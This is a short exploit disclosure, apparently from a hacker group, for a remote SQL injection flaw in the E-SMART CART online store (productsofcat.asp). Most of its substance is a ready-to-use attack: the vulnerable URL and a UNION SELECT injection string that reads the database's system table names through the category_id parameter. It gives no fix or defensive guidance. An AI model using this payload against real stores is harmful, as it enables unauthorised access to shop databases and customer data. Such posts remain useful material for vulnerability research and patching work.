E-SMART CART (productsofcat.asp) Remote SQL Injection Vulnerability

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==-- --==+          E-SMART CART (productsofcat.asp) Remote SQL Injection Vulnerability       +==-- --==+====================================================================================+==--                           - dreaming of necessity is reason to comply - [+] Info: [~] Bug found by JosS [~] sys-project[at]hotmail.com [~] http://www.spanish-hackers.com/ [~] EspSeC & Hack0wn!. [~] Software: E-SMART CART (payment) [~] HomePage: http://www.preproject.com/ [~] Exploit: Remote SQL Injection [High] [~] Vuln file: productsofcat.asp [~] /store/productsofcat.asp?p=1&category_id=[SQL] [+] Exploit: [~] http://localhost/PATH/store/productsofcat.asp?p=1&category_id=[SQL] [~] 22+and+1=2+union+all+select+1,name,3,0+from+msysobjects * In memory of rgod --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==-- --==+                                       JosS                                         +==-- --==+====================================================================================+==--                                        [+] [The End]